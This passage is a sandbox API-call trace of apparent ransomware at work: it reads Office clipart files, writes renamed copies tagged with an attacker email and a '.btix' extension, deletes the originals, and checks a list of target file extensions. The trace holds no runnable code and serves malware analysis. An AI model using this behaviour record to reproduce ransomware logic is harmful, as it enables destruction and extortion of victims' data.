Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg")) returned 1 [0156.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0156.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0156.572] lstrlenW (lpString=".doc") returned 4 [0156.572] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0156.572] lstrlenW (lpString=".docx") returned 5 [0156.572] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0156.572] lstrlenW (lpString=".pdf") returned 4 [0156.572] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0156.572] lstrlenW (lpString=".xls") returned 4 [0156.572] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0156.572] lstrlenW (lpString=".xlsx") returned 5 [0156.572] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0156.572] lstrlenW (lpString=".ppt") returned 4 [0156.572] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0156.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0156.572] lstrlenW (lpString=".zip") returned 4 [0156.572] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0156.572] lstrlenW (lpString=".rar") returned 4 [0156.572] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0156.572] lstrlenW (lpString=".bz2") returned 4 [0156.572] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0156.572] lstrlenW (lpString=".7z") returned 3 [0156.573] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0156.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0156.573] lstrlenW (lpString=".dbf") returned 4 [0156.573] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0156.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0156.573] lstrlenW (lpString=".1cd") returned 4 [0156.573] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0156.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0156.573] lstrlenW (lpString=".jpg") returned 4 [0156.573] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0156.574] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.574] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0156.575] GetLastError () returned 0x0 [0156.575] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x5de2, lpOverlapped=0x0) returned 1 [0156.585] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x5df0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x5df0, lpOverlapped=0x0) returned 1 [0156.586] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.586] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.586] SetEndOfFile (hFile=0x33c) returned 1 [0156.586] CloseHandle (hObject=0x33c) returned 1 [0156.586] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.587] SetEndOfFile (hFile=0x34c) returned 1 [0156.587] CloseHandle (hObject=0x34c) returned 1 [0156.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg")) returned 1 [0156.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0156.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0156.588] lstrlenW (lpString=".doc") returned 4 [0156.588] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0156.588] lstrlenW (lpString=".docx") returned 5 [0156.588] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0156.588] lstrlenW (lpString=".pdf") returned 4 [0156.588] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0156.588] lstrlenW (lpString=".xls") returned 4 [0156.588] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0156.588] lstrlenW (lpString=".xlsx") returned 5 [0156.588] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0156.588] lstrlenW (lpString=".ppt") returned 4 [0156.588] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0156.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0156.588] lstrlenW (lpString=".zip") returned 4 [0156.588] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0156.589] lstrlenW (lpString=".rar") returned 4 [0156.589] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0156.589] lstrlenW (lpString=".bz2") returned 4 [0156.589] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0156.589] lstrlenW (lpString=".7z") returned 3 [0156.589] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0156.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0156.589] lstrlenW (lpString=".dbf") returned 4 [0156.589] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0156.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0156.589] lstrlenW (lpString=".1cd") returned 4 [0156.589] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0156.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0156.589] lstrlenW (lpString=".jpg") returned 4 [0156.589] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0156.589] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.589] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0156.590] GetLastError () returned 0x0 [0156.590] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x7d26, lpOverlapped=0x0) returned 1 [0156.665] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x7d30, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x7d30, lpOverlapped=0x0) returned 1 [0156.667] ReadFile (in: hFile=0x34c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.667] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.667] SetEndOfFile (hFile=0x33c) returned 1 [0156.675] CloseHandle (hObject=0x33c) returned 1 [0156.710] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.710] SetEndOfFile (hFile=0x34c) returned 1 [0156.712] CloseHandle (hObject=0x34c) returned 1 [0156.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg")) returned 1 [0156.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0156.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0156.713] lstrlenW (lpString=".doc") returned 4 [0156.713] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0156.713] lstrlenW (lpString=".docx") returned 5 [0156.713] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0156.713] lstrlenW (lpString=".pdf") returned 4 [0156.713] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0156.713] lstrlenW (lpString=".xls") returned 4 [0156.713] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0156.713] lstrlenW (lpString=".xlsx") returned 5 [0156.713] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0156.713] lstrlenW (lpString=".ppt") returned 4 [0156.713] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0156.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0156.713] lstrlenW (lpString=".zip") returned 4 [0156.713] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0156.713] lstrlenW (lpString=".rar") returned 4 [0156.713] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0156.713] lstrlenW (lpString=".bz2") returned 4 [0156.714] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0156.714] lstrlenW (lpString=".7z") returned 3 [0156.714] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0156.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0156.714] lstrlenW (lpString=".dbf") returned 4 [0156.714] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0156.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0156.714] lstrlenW (lpString=".1cd") returned 4 [0156.714] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0156.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0156.714] lstrlenW (lpString=".jpg") returned 4 [0156.714] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0156.723] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.723] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0156.726] GetLastError () returned 0x0 [0156.726] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x745c, lpOverlapped=0x0) returned 1 [0156.731] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x7460, lpOverlapped=0x0) returned 1 [0156.732] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.732] WriteFile (in: hFile=0x33c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.732] SetEndOfFile (hFile=0x33c) returned 1 [0156.739] CloseHandle (hObject=0x33c) returned 1 [0156.741] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.741] SetEndOfFile (hFile=0x374) returned 1 [0156.743] CloseHandle (hObject=0x374) returned 1 [0156.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf")) returned 1 [0156.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0156.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0156.758] lstrlenW (lpString=".doc") returned 4 [0156.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.759] lstrlenW (lpString=".docx") returned 5 [0156.759] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.759] lstrlenW (lpString=".pdf") returned 4 [0156.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.759] lstrlenW (lpString=".xls") returned 4 [0156.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.759] lstrlenW (lpString=".xlsx") returned 5 [0156.759] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.759] lstrlenW (lpString=".ppt") returned 4 [0156.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0156.759] lstrlenW (lpString=".zip") returned 4 [0156.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.759] lstrlenW (lpString=".rar") returned 4 [0156.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.759] lstrlenW (lpString=".bz2") returned 4 [0156.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.759] lstrlenW (lpString=".7z") returned 3 [0156.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0156.759] lstrlenW (lpString=".dbf") returned 4 [0156.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0156.759] lstrlenW (lpString=".1cd") returned 4 [0156.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0156.759] lstrlenW (lpString=".jpg") returned 4 [0156.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.765] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.765] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.768] GetLastError () returned 0x0 [0156.768] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1c88, lpOverlapped=0x0) returned 1 [0156.773] WriteFile (in: hFile=0x374, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1c90, lpOverlapped=0x0) returned 1 [0156.774] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.774] WriteFile (in: hFile=0x374, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.774] SetEndOfFile (hFile=0x374) returned 1 [0156.774] CloseHandle (hObject=0x374) returned 1 [0156.774] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.774] SetEndOfFile (hFile=0x37c) returned 1 [0156.775] CloseHandle (hObject=0x37c) returned 1 [0156.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf")) returned 1 [0156.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0156.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0156.776] lstrlenW (lpString=".doc") returned 4 [0156.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.776] lstrlenW (lpString=".docx") returned 5 [0156.776] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0156.776] lstrlenW (lpString=".pdf") returned 4 [0156.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.776] lstrlenW (lpString=".xls") returned 4 [0156.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.776] lstrlenW (lpString=".xlsx") returned 5 [0156.776] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0156.776] lstrlenW (lpString=".ppt") returned 4 [0156.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0156.777] lstrlenW (lpString=".zip") returned 4 [0156.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.777] lstrlenW (lpString=".rar") returned 4 [0156.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.777] lstrlenW (lpString=".bz2") returned 4 [0156.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.777] lstrlenW (lpString=".7z") returned 3 [0156.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0156.777] lstrlenW (lpString=".dbf") returned 4 [0156.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0156.777] lstrlenW (lpString=".1cd") returned 4 [0156.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF") returned 68 [0156.777] lstrlenW (lpString=".jpg") returned 4 [0156.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.777] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.777] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0156.778] GetLastError () returned 0x0 [0156.778] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x69d8, lpOverlapped=0x0) returned 1 [0156.792] WriteFile (in: hFile=0x374, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x69e0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x69e0, lpOverlapped=0x0) returned 1 [0156.793] ReadFile (in: hFile=0x37c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.793] WriteFile (in: hFile=0x374, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.793] SetEndOfFile (hFile=0x374) returned 1 [0156.793] CloseHandle (hObject=0x374) returned 1 [0156.793] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.793] SetEndOfFile (hFile=0x37c) returned 1 [0156.794] CloseHandle (hObject=0x37c) returned 1 [0156.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf")) returned 1 [0156.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0156.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0156.797] lstrlenW (lpString=".doc") returned 4 [0156.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.797] lstrlenW (lpString=".docx") returned 5 [0156.797] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.797] lstrlenW (lpString=".pdf") returned 4 [0156.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.797] lstrlenW (lpString=".xls") returned 4 [0156.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.797] lstrlenW (lpString=".xlsx") returned 5 [0156.797] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.797] lstrlenW (lpString=".ppt") returned 4 [0156.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0156.798] lstrlenW (lpString=".zip") returned 4 [0156.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.798] lstrlenW (lpString=".rar") returned 4 [0156.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.798] lstrlenW (lpString=".bz2") returned 4 [0156.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.798] lstrlenW (lpString=".7z") returned 3 [0156.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0156.798] lstrlenW (lpString=".dbf") returned 4 [0156.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 